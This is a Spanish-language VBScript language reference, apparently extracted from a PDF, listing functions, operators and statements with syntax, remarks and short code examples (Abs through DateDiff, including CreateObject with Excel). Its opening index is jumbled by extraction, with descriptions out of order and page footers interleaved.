Devuelve una expresión convertida a una Variant del subtipo String. Devuelve la parte especificada de una fecha dada. Devuelve una expresión con formato de número. Devuelve una expresión convertida a una Variant del subtipo Single. Devuelve la posición del primer caso de una cadena dentro de otra. Devuelve una Variant que cotiene una matriz. Devuelve una expresión convertida a una Variant del subtipo Date. Devuelve una Variant del subtipo Date para un año. desde el final de la cadena. Devuelve una expresión convertida a una Variant del subtipo Byte. Devuelve una expresión convertida a una Variant del subtipo Boolean. Devuelve una expresión convertida a una Variant del subtipo Long. Devuelve una expresión convertida a una Variant del subtipo Currency. Devuelve la fecha del sistema actual. Devuelve el caracter asociado con el código de caracteres ANSI especificado. que representa la hora del día.Abs (Función) Array (Función) Asc (Función) Atn (Función) CBool (Función) CByte (Función) CCur (Función) CDate (Función) CDbl (Función) Chr (Función) CInt (Función) CLng (Función) Cos (Función) CreateObject (Función) CSng (Función) CStr (Función) Date (Función) DateAdd (Función) DateDiff (Función) DatePart (Función) DateSerial (Función) DateValue (Función) Day (Función) Eval (Función) Exp (Función) Filter (Función) Fix (Función) FormatCurrency (Función) FormatDateTime (Función) FormatNumber (Función) FormatPercent (Función) GetObject (Función) GetRef (Función) Hex (Función) Hour (Función) InputBox (Función) InStr (Función) InStrRev (Función) Int (Función) IsArray (Función) IsDate (Función) IsEmpty (Función) Devuelve el valor absoluto de un número. Devuelve una expresión convertida a una Variant del subtipo Double. Devuelve la parte entera de un número. Crea y devuelve una referencia a un objeto de Automatización. Devuelve el arcotangente de un número.byethost14. Devuelve un valor Boolean que indica si se inicializó una variable. Muestra un aviso en un cuadro de diálogo.idat.

Devuelve un valor Boolean que indica si se puede evaluar una expresión como un número. Devuelve una copia de una cadena sin espacios finales. Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.IsNull (Función) IsNumeric (Función) IsObject (Función) Join (Función) LBound (Función) LCase (Función) Left (Función) Len (Función) LoadPicture (Función) Log (Función) LTrim (Función) Mid (Función) Minute (Función) Month (Función) MonthName (Función) MsgBox (Función) Now (Función) Oct (Función) Replace (Función) RGB (Función) Right (Función) Rnd (Función) Round (Función) RTrim (Función) ScriptEngine (Función) ScriptEngineBuildVersion (Función) ScriptEngineMajorVersion (Función) ScriptEngineMinorVersion (Función) Second (Función) Sgn (Función) Sin (Función) Space (Función) Split (Función) Sqr (Función) StrComp (Función) String (Función) StrReverse (Función) Tan (Función) Time (Función) Devuelve un valor Boolean que indica si una expresión no contiene datos válidos (Null). Devuelve una copia de una cadena sin espacios iniciales. Devuelve la tangente de un ángulo. espera a que el usuario escriba texto o haga clic en un botón y devuelve un valor que indica el botón en el que hizo clic el usuario. Devuelve una cadena creada uniendo varias subcadenas contenidas en una matriz. Devuelve un número entero que indica el signo de un número. Devuelve un objeto de imagen. Devuelve un número entero entre 0 y 59. Devuelve una cadena en la que se invirtió el orden de los caracteres de una cadena especificada. que representa el minuto de la hora.byethost14. Devuelve un número de caracteres especificado del lado derecho de una cadena. Devuelve el número de versión de la compilación del motor de secuencias de comandos en uso. Sólo disponible en plataformas de 32 bits. Muestra un mensaje en un cuadro de diálogo. ambos inclusive. Devuelve una cadena de caracteres repetidos de la longitud especificada. Devuelve el logaritmo natural de un número. Devuelve un número entero entre 0 y 59. Devuelve un valor Boolean que indica si una expresión hace referencia a un objeto de Automatización válido. Devuelve un número especificado de caracteres del lado izquierdo de una cadena. Devuelve una cadena que indica el mes especificado. Devuelve el número de la versión principal del motor de secuencias de comandos en uso. Devuelve una cadena compuesta por el número especificado de espacios. ambos inclusive. Devuelve un valor que indica el resultado de una comparación de cadenas. Devuelve la fecha y hora actual según los valores de fecha y hora de sistema del equipo. Devuelve una Variant del subtipo Date que indica la hora actual del sistema. Devuelve un número redondeado a un número especificado de lugares decimales. Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable. ambos inclusive. Devuelve una matriz unidimensional con base cero que contiene un número especificado de subcadenas. By KarlosVid(ÊÇ) www. que representa el segundo de un minuto. Devuelve la raíz cuadrada de un número.com 10 . Devuelve el número de la versión secundaria del motor de secuencias de comandos en uso. Devuelve una cadena que representa el lenguaje de secuencias de comandos en uso. que representa el mes del año. Devuelve un número entero entre 1 y 12. Devuelve un número aleatorio. Devuelve una cadena que representa el valor octal de un número. Devuelve una cadena en la que se reemplazó una subcadena especificada con otra subcadena un número especificado de veces. Devuelve un número especificado de caracteres de una cadena. Devuelve un número entero que representa un valor de color RGB. Devuelve el seno de un ángulo.idat. Devuelve una cadena convertida a minúsculas.

m. Devuelve una cadena que proporciona información de subtipos Variant acerca de una variable. Genera un error en tiempo de ejecución. Devuelve un número entero que representa el año. Realiza la negación lógica de una expresión. Devuelve una Variant del subtipo Date que contiene la hora para una hora. Devuelve una cadena convertida a mayúsculas. Realiza una disyunción lógica de dos expresiones. Realiza una equivalencia lógica de dos expresiones. Divide dos números y devuelve un resultado entero. Suma dos números. Devuelve el mayor subíndice disponible para la dimensión indicada de una matriz. Divide dos números y devuelve un resultado de punto flotante. Fuerza la concatenación de cadenas de dos expresiones. Devuelve una cadena que indica el día de la semana especificado.idat. minuto y segundo específicos. Devuelve un valor que indica el subtipo de una variable. Reemplaza el texto encontrado en una búsqueda de expresión regular. Proporciona acceso a los eventos de una clase creada. Asigna un valor a una variable o propiedad. Realiza una implicación lógica de dos expresiones.byethost14. Contiene la información acerca de los errores en tiempo de ejecución. Borra todos los valores de propiedad del objeto Err. Devuelve una Variant del subtipo Date que contiene la hora. Divide dos números y devuelve sólo el resto. Proporciona compatibilidad con expresiones regulares simples. Devuelve una copia de una cadena sin espacios iniciales o finales. Encuentra la diferencia entre dos números o indica el valor negativo de una expresión By KarlosVid(ÊÇ) www.com 11 . Objeto que almacena pares de elemento y clave de datos. Ejecuta una búsqueda de expresión regular en una cadena especificada. Proporciona acceso a las propiedades de sólo lectura de una coincidencia de expresión regular. Compara las variables de referencia de dos objetos. Indica el valor negativo de una expresión numérica. Ejecuta una búsqueda de expresión regular en una cadena especificada. Colección de objetos Match de expresión regular. (medianoche). Multiplica dos números. Lista que muestra el orden de precedencia para diversos operadores utilizados en VBScript. Realiza una conjunción lógica de dos expresiones. Devuelve un número entero que representa el día de la semana. Eleva un número a la potencia de un exponente. Proporciona acceso al sistema de archivos de un equipo.Timer (Función) TimeSerial (Función) TimeValue (Función) Trim (Función) TypeName (Función) UBound (Función) UCase (Función) VarType (Función) Weekday (Función) WeekdayName (Función) Year (Función) Clear (Método) Execute (Método) Raise (Método) Replace (Método) Test (Método) Class (Objeto) Dictionary (Objeto) Err (Objeto) FileSystemObject (Objeto) Match (Objeto) Matches (Colección) RegExp (Objeto) Suma (+) (Operador) And (Operador) Asignación (=)(Operador) Concatenación (&)(Operador) División (/) (Operador) Eqv (Operador) Exponenciación (^) (Operador) Imp (Operador) División entera (\) (Operador) Is (Operador) Mod (Operador) Multiplicación (*) (Operador) Negación (-)(Operador) Not (Operador) Precedencia de operadores Or (Operador) Resta (-)(Operador) Devuelve el número de segundos que transcurrieron desde las 12:00 a.

Fuerza la declaración explicita de todas las variables en una secuencia de comandos. Declara el nombre.. Declara las variables privadas y asigna el espacio de almacenamiento. Declara el nombre. FirstIndex (Propiedad) Global (Propiedad) HelpContext (Propiedad) HelpFile (Propiedad) IgnoreCase (Propiedad) Length (Propiedad) Number (Propiedad) Pattern (Propiedad) Source (Propiedad) Value (Propiedad) Call (Instrucción) Class (Instrucción) Const (Instrucción) Dim (Instrucción) Do.Next (Instrucción) For Each. Ejecuta uno de entre varios grupos de instrucciones. Habilita el control de errores. For. Function o Sub... By KarlosVid(ÊÇ) www. argumentos y código que forman el cuerpo de un procedimiento Sub. Vuelve a inicializar los elementos de matrices de tamaño fijo y anula la asignación del espacio de almacenamiento de la matriz dinámica. Repite un grupo de instrucciones un número de veces especificado. Declara variables de matriz dinámica y asigna o vuelve a asignar espacio de almacenamiento en el nivel de procedimiento. Devuelve o establece una cadena descriptiva asociada con un error. Declara el nombre.Next (Instrucción) Function (Instrucción) If. Declara variables y asigna espacio de almacenamiento. Declara el nombre de una clase.. argumentos y código que forman el cuerpo de un procedimiento Function.numérica. Repite un bloque de instrucciones mientras una condición sea True o hasta que una condición se vuelva True.Then.Else (Instrucción) On Error (Instrucción) Option Explicit (Instrucción) Private (Instrucción) PropertyGet (Instrucción) PropertyLet (Instrucción) PropertySet (Instrucción) Public (Instrucción) Randomize (Instrucción) ReDim (Instrucción) Rem (Instrucción) Select Case (Instrucción) Set (Instrucción) Sub (Instrucción) Traspasa el control a un procedimiento Sub o Function. según el valor de una expresión. argumentos y código que forman el cuerpo de un procedimiento Property que establece una referencia a un objeto. Xor (Operador) Description (Propiedad) Realiza una exclusión lógica de dos expresiones.byethost14...Next. Establece o devuelve una ruta completa a un archivo de Ayuda Establece o devuelve un valor booleano que indica si una búsqueda de patrón distingue las mayúsculas de las minúsculas. Devuelve o establece el nombre del objeto o aplicación que generó originalmente el error. Sale de un bloque de código Do..Loop. Devuelve o establece un valor numérico que especifica un error. Declara el nombre. Devuelve la posición en una cadena de búsqueda donde ocurre una coincidencia. Ejecuta una o más instrucciones especificadas.. Asigna una referencia de objeto a una variable o propiedad..idat. Declara variables públicas y asigna espacio de almacenamiento. Declara el nombre... Devuelve la longitud de una coincidencia encontrada en una cadena de búsqueda. según el valor de una expresión. Repite un grupo de instrucciones para cada elemento en una matriz o colección..com 12 . Establece o devuelve el patrón de expresión regular que se busca. argumentos y código que forman el cuerpo de un procedimiento Property que asigna el valor de una propiedad. de contexto para un tema en un archivo de Ayuda. Devuelve el valor o texto de una coincidencia encontrada en una cadena de búsqueda.. argumentos y código que forman el cuerpo de un procedimiento Property que obtiene (devuelve) el valor de una propiedad. Inicializa el generador de números aleatorios. Establece o devuelve un valor booleano.Loop (Instrucción) Erase (Instrucción) Execute (Instrucción) Exit (Instrucción) For.. Establece o devuelve un Id. Ejecuta de forma condicional un grupo de instrucciones. Declara constantes para utilizar en lugar de los valores literales. Incluye observaciones explicatorias en un programa.

Dim A A = Array(10.. se devuelve cero. si es un valor no iniciado.com 13 . Sintaxis Abs(número) El argumento número puede ser cualquier expresión numérica válida. Si número contiene Null. Comentarios El valor absoluto de un número es su magnitud sin signo. consta del nombre de la variable seguido de paréntesis que contienen un número de índice que indica el elemento deseado. Por ejemplo. El siguiente ejemplo usa la función Abs para compute the absolute value of a number: Dim MiNumero MiNumero = Abs(50. La última instrucción asigna el valor contenido en la segunda matriz a otra variable. que se asignan a los elementos de una matriz contenida en el objeto Variant.While. En el siguiente ejemplo.20. se devuelve Null . Abs(-1) y Abs(1) devuelven 1.Wend (Instrucción) With (Instrucción) Ejecuta una serie de instrucciones mientras una condición dada sea True.. Función Array Descripción Devuelve un objeto Variant que contiene una matriz.3. se crea una matriz de longitud cero. Ejecuta una serie de instrucciones en un objeto único.idat.3. Sintaxis Array(listadeargumentos) El argumento requerido listadeargumentos es una lista de valores separados por comas. Comentarios La notación usada para hacer referencia a un elemento de una matriz. la primera instrucción crea una variable llamada A. FUNCIONES Función Abs Descripción Devuelve el valor absoluto de un número.byethost14.30) By KarlosVid(ÊÇ) www.3) ' Devuelve 50. La segunda instrucción asigna una matriz a la variable A.3) ' Devuelve 50. MiNumero = Abs(-50. Si no se especifica ningún argumento.

AscW se proporciona para plataformas de 32 bits que usan caracteres Unicode. MiNumero = Asc("Azúcar") ' Devuelve 65. MiNumero = Asc("a") ' Devuelve 97. se produce un error en tiempo de ejecución. Esta función devuelve el código de carácter Unicode. Para convertir radianes en grados.byethost14. En lugar de devolver el código de carácter para el primer carácter. conceptualmente. Asc devuelve el código de carácter ANSI de la primera letra de cada cadena: Dim MiNumero MiNumero = Asc("A") ' Devuelve 65.B = A(2) ' B es ahora 30. El siguiente ejemplo usa Atn para calcular el valor de pi: Dim pi pi = 4 * Atn(1) ' Calcula el valor de pi.idat. Función Asc Descripción Devuelve el código de carácter ANSI que corresponde a la primera letra de una cadena. Nota La función AscB se usa con los datos de bytes contenidos en una cadena. Comentarios En el ejemplo siguiente. Comentarios La función Atn recibe el radio de dos lados de un triángulo recto (número) y devuelve el ángulo correspondiente en radianes. Si cadena no contiene ningún carácter. By KarlosVid(ÊÇ) www. el acceso a los elementos de la matriz es igual.com 14 . Nota Una variable que no está declarada como matriz puede contener una matriz. diferente a una variable de matriz que contiene elementos Variant. multiplique los radianes por 180/pi. Sintaxis Atn(número) El argumento número puede ser cualquier expresión numérica válida. Aunque una variable Variant que contiene una matriz es. Función Atn Descripción Devuelve el arcotangente de un número. multiplique los grados por pi/180. El radio es la longitud del lado opuesto al ángulo. dividido por la longitud del lado adyacente al ángulo. El intervalo del resultado varía entre -pi/2 y pi/2 radianes. Para convertir grados en radianes. Sintaxis Asc(cadena) El argumento cadena es cualquier expresión de cadena válida. evitando así la conversión de Unicode a ANSI. AscB devuelve el primer byte.

Comprobacion = CBool(A) ' Comprobacion contiene False. Por ejemplo. devuelve False. precisión simple. Comprobacion A = 5: B = 5 ' Inicia variables. Por ejemplo. Comentarios Si expresión es cero. No confunda Atn con la cotangente. al igual que los distintos separadores de unidades de mil. use CByte para forzar aritmética de tipo byte en casos en los que normalmente se usaría aritmética de moneda.com 15 . Si expresiónno se puede interpretar como valor numérico. puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular. se devuelve True. Sintaxis CBool(expresión) El argumento expresión es cualquier expresión válida. A=0 ' Define la variable. Función CByte Descripción Devuelve una expresión que se convirtió en Variant de subtipo Byte. CBool devuelve True. Dim A.Nota Atn es la función trigonométrica inversa de Tan. Comprobacion = CBool(A = B) ' Comprobacion contiene True.idat. que recibe un ángulo como argumento y devuelve el radio (proporción) de dos lados de un triángulo recto. B. se produce un error en tiempo de ejecución. de lo contrario. de lo contrario. Comentarios En general. que es el inverso simple de una tangente (1/tangente). se devuelve False. precisión doble o entero. Sintaxis CByte(expresión) El argumento expresión es cualquier expresión válida. en lugar del tipo de datos predeterminado.byethost14. By KarlosVid(ÊÇ) www. El siguiente ejemplo usa la función CBool para convertir una expresión en Boolean. distintos separadores decimales se reconocen correctamente según la configuración regional de su sistema. Función CBool Descripción Devuelve una expresión convertida en Variant de subtipo Boolean. Use la función CByte para proporcionar conversiones que se adapten a los formatos internacionales desde cualquier tipo de datos al subtipo Byte. Si la expresión se evalúa como un valor distinto de cero.

El siguiente ejemplo usa la función CCur para convertir una expresión en tipo de datos Currency: Dim MiDoble.429176) ' en tipo de datos Currency (1086. en lugar del tipo de datos predeterminado.4292). Función CDate Descripción Devuelve una expresión que se convirtió en Variant del subtipo Date. Sintaxis CDate(fecha) El argumento fecha es cualquier expresión de fecha válida. By KarlosVid(ÊÇ) www.Si expresión está fuera del intervalo aceptable para el subtipo Byte. El siguiente ejemplo usa la función CByte para convertir una expresión en byte: Dim MiDoble.byethost14. MiByte MiDoble = 125. Comentarios En general. MiByte = CByte(MiDoble) ' MiByte contiene 126. MiMoneda MiDoble = 543.5678 ' MiDoble es un Double. Comentarios Use la función IsDate para determinar si se puede convertir fecha en una fecha u hora. MiMoneda = CCur(MiDoble * 2) ' Convierte el resultado de MiDoble * 2 (1086. puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular. se produce un error. CDate reconoce literales de fecha y literales de hora. la parte entera del número se convierte en una fecha. Por ejemplo. Al convertir un número a fecha. Cualquier parte fraccionaria del número se convierte en una hora del día. Sintaxis CCur(expresión) El argumento expresión es cualquier expresión válida. use CCur para forzar aritmética de moneda en casos en los que normalmente se usaría aritmética entera.214588 ' MiDoble es de tipo Double. Función CCur Descripción Devuelve una expresión que se convirtió en Variant de subtipo Currency. Por ejemplo. así como algunos números que se encuentran dentro del rango de fechas aceptable. a partir de medianoche.idat. Debe usar la función CCur para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Currency.com 16 . distintos separadores de decimales o de miles se reconocen correctamente según la configuración regional de su sistema.

no se recomienda establecer fechas y horas como cadenas mediante programación (como se muestra en este ejemplo). MiDoble = CDbl(MiMoneda * 8. Sintaxis Chr(códigodecarácter) El argumento códigodecarácter es un número que identifica un carácter. puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular. use CDbl o CSng para forzar aritmética de doble precisión o simple precisión en casos en los que normalmente se usaría aritmética de moneda o de entero. Además. Use la función CDbl para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Double. Sintaxis CDbl(expresión) El argumento expresión es cualquier expresión válida. MiFecha = "19 de octubre de 1962" ' Define la fecha.CDate reconoce los formatos de fecha según la configuración regional del sistema. en lugar del tipo de datos predeterminado. En su lugar. Por ejemplo.456784) ' MiMoneda es de tipo Currency(234. como #10/19/1962# o #4:45:23 PM#. No se puede determinar el orden correcto de día. mes y año si éstos se proporcionan en un formato que no coincida con los valores de configuración reconocidos. MiHoraCorta = CDate(MiHoraCompleta) ' Convierte al tipo de datos Date. Por ejemplo.com 17 . En el siguiente ejemplo se usa la función CDate para convertir una cadena en una fecha. Comentarios En general. Este ejemplo usa la función CDbl para convertir una expresión en Double. Función Chr Descripción Devuelve el carácter asociado al código de carácter ANSI especificado.2254576). use literales de fecha y hora. MiHoraCompleta = "4:35:47 PM" ' Define la hora completa. Dim MiMoneda.4567).idat.01) ' Convierte el resultado en Double(19. Función CDbl Descripción Devuelve una expresión que se convirtió en Variant de subtipo Double. MiHoraCorta = CDate(MiFecha) ' Convierte al tipo de datos Date. Comentarios By KarlosVid(ÊÇ) www. MiDoble MiMoneda = CCur(234.2 * 0.byethost14. En general. distintos separadores de decimales y de miles se reconocen correctamente según la configuración regional de su sistema. no se reconoce un formato de fecha largo si también contiene la cadena día-de-la-semana.

en lugar del tipo de datos predeterminado. Su argumento es un código de carácter Unicode. Por ejemplo. El siguiente ejemplo usa la función CInt para convert a value to an Integer: Dim MiDoble. Nota La función ChrB se usa con los datos de byte contenidos en una cadena. en lugar de redondear. Por ejemplo. Nota CInt es distinta a las funciones Fix y de Int. Sintaxis CInt(expresión) El argumento expresión es cualquier expresión válida. la función CInt siempre redondea el número al siguiente número par.5678 MiEntero = CInt(MiDoble) ' MiDoble es de tipo Double. Chr(10) devuelve un carácter de avance de línea. se produce un error. use CInt o CLng para forzar aritmética de enteros en casos en los que normalmente se usaría aritmética de moneda. que evita que la conversión des ANSI a Unicode.5 se redondea a 2. puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular. Si expresión está fuera del intervalo aceptable para el subtipo Integer. que truncan. no imprimibles.idat. >. ' MiEntero contiene 2346. El siguiente ejemplo usa la función Chr para devolver el carácter asociado al código de carácter especificado: Dim MiCaracter MiCaracter = Chr(65) MiCaracter = Chr(97) MiCaracter = Chr(62) MiCaracter = Chr(37) ' ' ' ' Devuelve Devuelve Devuelve Devuelve A. a. Cuando la parte fraccionaria es exactamente igual a 0. %.5 se redondea a 0 y 1.Los números entre 0 y 31 son iguales a los códigos ASCII estándar. Comentarios En general. Función CInt Descripción Devuelve una expresión que se convirtió enVariant del subtipo Integer. ChrB siempre devuelve un byte simple. By KarlosVid(ÊÇ) www. Use la función CInt para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Integer. ChrW se proporciona para plataformas de 32 bits que usan caracteres Unicode. 0. En lugar de devolver un carácter. Por ejemplo. MiEntero MiDoble = 2345.com 18 .byethost14. precisión simple o precisión doble.5. la parte fraccionaria de un número. que puede ser de uno o dos bytes. Función CLng Descripción Devuelve una expresión que se convirtió en Variant del subtipo Long. distintos separadores de decimales y de miles se reconocen correctamente según la configuración regional de su sistema. Por ejemplo.

3 ' Define el ángulo en radianes. By KarlosVid(ÊÇ) www.Sintaxis CLng(expresión) El argumento expresión es cualquier expresión válida. El siguiente ejemplo usa la función CLng para convertir un valor en Long: Dim MiVal1. Sintaxis Cos(número) El argumento número puede ser cualquier expresión numérica válida que expresa un ángulo en radianes. El radio es la longitud del lado adyacente al ángulo dividido por la longitud de la hipotenusa. Por ejemplo. en lugar del tipo de datos predeterminado. Para convertir grados en radianes.5. Comentarios En general.com 19 . se usaría aritmética de precisión simple o precisión doble. se produce un error. Por ejemplo. multiplique los grados por pi/180.45: MiVal2 = 25427.55 ' MiVal1.5 se redondea a 2. Comentarios La función Cos recibe un ángulo y devuelve el radio de dos lados de un triángulo rectángulo. MiVal2. Función Cos Descripción Devuelve el coseno de un ángulo. puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular.byethost14. multiplique los radianes por 180/pi. que truncan. normalmente. MiVal2 son de tipo Double. El siguiente ejemplo usa la función Cos para devolver el coseno de un ángulo: Dim MiAngulo. la función CInt siempre redondea el número al siguiente número par. MiSecante MiAngulo = 1. la parte fraccionaria de un número. distintos separadores decimales o de miles se reconoce correctamente según la configuración regional de su sistema. MiLong1. Si expresión está fuera del intervalo aceptable para el subtipo Long. 0. Nota CInt es distinta a las funciones Fix y de Int. MiLong1 = CLng(MiVal1) ' MiLong1 contiene 25427. en lugar de redondear. use CInt o CLng para forzar aritmética de enteros en casos en los que. Para convertir radianes en grados.idat. El resultado varía entre -1 y 1. MiSecante = 1 / Cos(MiAngulo) ' Calcula la secante.5 se redondea a 0 y 1. Cuando la parte fraccionaria es exactamente igual a 0. MiLong2 MiVal1 = 25427. Use la función CLng para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Long. MiLong2 = CLng(MiVal2) ' MiLong2 contiene 25428. Por ejemplo.

1).XLS" ' Cierra Excel con el método Quit del objeto Application. Una vez creado un objeto. Como se muestra en el siguiente ejemplo. Comentarios Los servidores de automatización proporcionan.Visible = True ' Coloca algún texto en la primera celda de la hoja. al menos. Opcional. El tipo o clase del objeto que se va a crear. Necesario. El nombre de la aplicación que proporciona el objeto. Ese nombre es el mismo que la parte de nombre del equipo de un nombre de recurso compartido.nombreTipo [.Cells. incluido el objeto Application y la colección ActiveSheet. una hoja de cálculo de Microsoft Excel).Application.Sheet") Este código inicia la aplicación que crea el objeto (en este caso. Por ejemplo. el nombreServidor es "miservidor".idat.ActiveSheet. HojaExcel. HojaExcel. "MiServidor") GetVersion = XLApp.Version End Function By KarlosVid(ÊÇ) www.byethost14. un objeto Document y un objeto Toolbar. HojaExcel. Sintaxis CreateObject(nombreServidor.Quit ' Libera la variable de objeto. un tipo de objeto. fila 1" ' Guarda la hoja.com 20 . Para un recurso compartido en red llamado "\\miservidor\publico". Puede crear un objeto en un equipo en red remoto pasando el nombre del equipo al argumento nombreServidor de CreateObject. El nombre del servidor de red donde se va a crear el objeto. ubicación]) La sintaxis de la función CreateObject tiene las siguientes partes: Parte nombreServidor nombreTipo ubicación Descripción Necesario.Cells(1.Función CreateObject Descripción Crea y devuelve una referencia a un objeto de Automatización. una aplicación de proceso de textos puede proporcionar un objeto Application. ExcelSheet y otros objetos de Excel.Application. Además. Para crear un objeto de automatización.SaveAs "C:\DOCS\PRUEBA. ' Hace visible Excel mediante el objeto Application. se hace referencia al mismo en el código mediante el uso de la variable de objeto que definió. se puede tener acceso a las propiedades y métodos del nuevo objeto mediante la variable de objeto. puede especificar nombreServidor utilizando el formato DNS o una dirección IP. HojaExcel. asigne el objeto devuelto por CreateObject a una variable de objeto: Dim HojaExcel Set HojaExcel = CreateObject("Excel. El código siguiente devuelve el número de la versión de una instancia de Excel que se ejecuta en un equipo de red remoto llamado "miservidor": Function GetVersion Dim XLApp Set XLApp = CreateObject("Excel. Set HojaExcel = Nothing Sólo se puede crear un objeto en un servidor remoto cuando la seguridad de Internet está desactivada.Application".Value = "Esta es la columna A.

en lugar del tipo de datos predeterminado. MiSimple2 ' MiDoble1. Por ejemplo. Sintaxis CSng(expresión) El argumento expresión es cualquier expresión válida.3421115: MiDoble2 = 75. Debería usar la función CStr en lugar de Str para proporcionar conversiones internacionales estándar desde cualquier otro tipo de datos al subtipo String.byethost14. se produce un error.Ocurre un error si el servidor remoto especificado no existe o no se puede encontrar. Comentarios En general. MiDoble2. Comentarios En general. MiSimple1. Por ejemplo.3421555 MiSimple1 = CSng(MiDoble1) ' MiSimple1 contiene 75. El siguiente ejemplo usa la función CSng para convertir un valor en Single: Dim MiDoble1.idat. distintos separadores decimales o de miles se reconocen correctamente según la configuración local de su sistema. Sintaxis CStr(expresión) El argumento expresión es cualquier expresión válida.com 21 . MiSimple2 = CSng(MiDoble2) ' MiSimple2 contiene 75. en lugar del tipo de datos predeterminado. MiDoble1 = 75. Si expresión está fuera del intervalo aceptable para el subtipo Single. Función CStr Descripción Devuelve una expresión que se convirtió en Variant del subtipo String. Por ejemplo. By KarlosVid(ÊÇ) www. Función CSng Descripción Devuelve una expresión que se convirtió en Variant del subtipo Single. normalmente. puede documentar su código con funciones de conversión de tipos de datos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular. use CStr para forzar que el resultado se exprese como String. MiDoble2 son de tipo Double. Por ejemplo. distintos separadores decimales y de miles se reconocen correctamente según la configuración regional de su sistema. se usaría aritmética de moneda o de enteros.34211. puede documentar su código con las funciones de conversión de tipos de datos para mostrar que el resultado de algunas operaciones se debería expresar como un tipo de datos particular. Use la función CSng para propocionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Single.34216. use CDbl o CSng para forzar aritmética de precisión doble o precisión simple en casos en los que.

Sintaxis DateAdd(intervalo.Los datos almacenados en expresión determinan el valor devuelto de acuerdo con la siguiente tabla: Si expresión es Boolean Date Null Empty Error Otro valor numérico CStr devuelve Un valor de tipo String que contiene True o False. Un valor de tipo String de longitud cero (""). MiCadena MiDoble = 437. Sintaxis Date Comentarios El siguiente ejemplo usa la función Date para devolver la fecha actual del sistema: Dim MiFecha MiFecha = Date ' MiFecha contiene la fecha actual del sistema.idat. El siguiente ejemplo usa la función CStr para convertir un valor numérico en String: Dim MiDoble. Un error en tiempo de ejecución. Un valor de tipo String que contiene una fecha en formato de fecha corta de su sistema.324". Función Date Descripción Devuelve la fecha actual del sistema. Función DateAdd Descripción Devuelve una fecha a la que se agregó un intervalo de tiempo especificado.byethost14. para fechas pasadas. Un valor de tipo String que contiene la palabra Error seguido por el número de error. La expresión numérica puede ser positiva. número Requerido. Consulte la sección Valores para saber cuáles son los valores permitidos. Un valor de tipo String contiene el número. fecha) La sintaxis de la función DateAdd tiene las siguientes partes: Parte Descripción intervalo Requerido. para fechas futuras. Expresión de cadena que es el intervalo que desea agregar. By KarlosVid(ÊÇ) www. o negativas. Expresión numérica que es el número de intervalo que desea agregar. número. MiCadena = CStr(MiDoble) ' MiCadena contiene "437.com 22 .324 ' MiDoble es de tipo Double.

Si el número no es un valor de tipo Long. Valores El argumento intervalo puede tener los siguientes valores: Valor yyyy q m y d w ww h n s Descripción Año Trimestre Mes Día del año Día Día de la semana Semana del año Hora Minuto Segundo Comentarios Puede usar la función DateAdd para sumar o restar un intervalo de tiempo especificado a una fecha. Consulte la sección Valores para saber cuáles son los valores permitidos.fecha Requerido. Para agregar días a fecha. primerasemanaaño]]) La sintaxis de la función DateDiff tiene las siguientes partes: Parte intervalo Descripción Requerido. devuelve 29-Feb-96 porque 1996 es un año bisiesto. Día ("d") o Día de la semana ("w"). fecha2 [. La función DateAdd no devolverá una fecha no válida. Si la fecha calculada es anterior al año 100. Sintaxis DateDiff(intervalo. se redondea al número entero más cercano antes de evaluarlo. By KarlosVid(ÊÇ) www.com 23 .idat. El siguiente ejemplo suma un mes al 31 de enero: Nuevafecha = DateAdd("m". puede usar Día del año ("y"). no 31-Feb-95.byethost14. se produce un error.primerdíasemana[. Expresión de cadena que es el intervalo que desea usar para calcular las diferencias entre fecha1 y fecha2. "31-Ene-95") En este caso. puede usar DateAdd para calcular una fecha 30 días a partir de hoy o una hora 45 minutos desde ahora. Si fecha es 31-Ene-96. Variant o literal que representa la fecha a la que se agrega intervalo. Por ejemplo. fecha1. Función DateDiff Descripción Devuelve el número de intervalos entre dos fechas. 1. DateAdd devuelve 28-Feb-95.

Constante que especifica la primera semana del año. Expresiones de fecha. Si no se especifica. primerasemanaaño Opcional.byethost14. Comienza con la primera semana completa del nuevo año. se asume Domingo. fecha2 primerdíasemana Requerido. Comienza con la semana del 1 de enero(predeterminado). se asume que la primera semana es la semana del 1 de enero.com 24 . Consulte la sección Valores para saber cuáles son los valores permitidos. Si no se especifica.fecha1. Domingo (predeterminado) Lunes Martes Miércoles Jueves Viernes Sábado El argumento primerasemanaaño puede tener los siguientes valores: Constante vbUseSystem vbFirstJan1 vbFirstFourDays vbFirstFullWeek Valor 0 1 2 3 Descripción Usar configuración de API NLS. Comentarios By KarlosVid(ÊÇ) www. Consulte la sección Valores para saber cuáles son los valores permitidos. Valores El argumento intervalo puede tener los siguientes valores: Valor yyyy q m y d w ww h n s Descripción Año Trimestre Mes Día del año Día Día de la semana Semana del año Hora Minuto Segundos El argumento primerdíasemana puede tener los siguientes valores: Constante vbUseSystem vbSunday vbMonday vbTuesday vbWednesday vbThursday vbFriday vbSaturday Valor 0 1 2 3 4 5 6 7 Descripción Usar la configuración de API NLS. Constante que especifica el día de la semana. Dos fechas que desea usar en el cálculo. Comienza con la semana que tiene al menos cuatro días en el nuevo año. Opcional.idat.

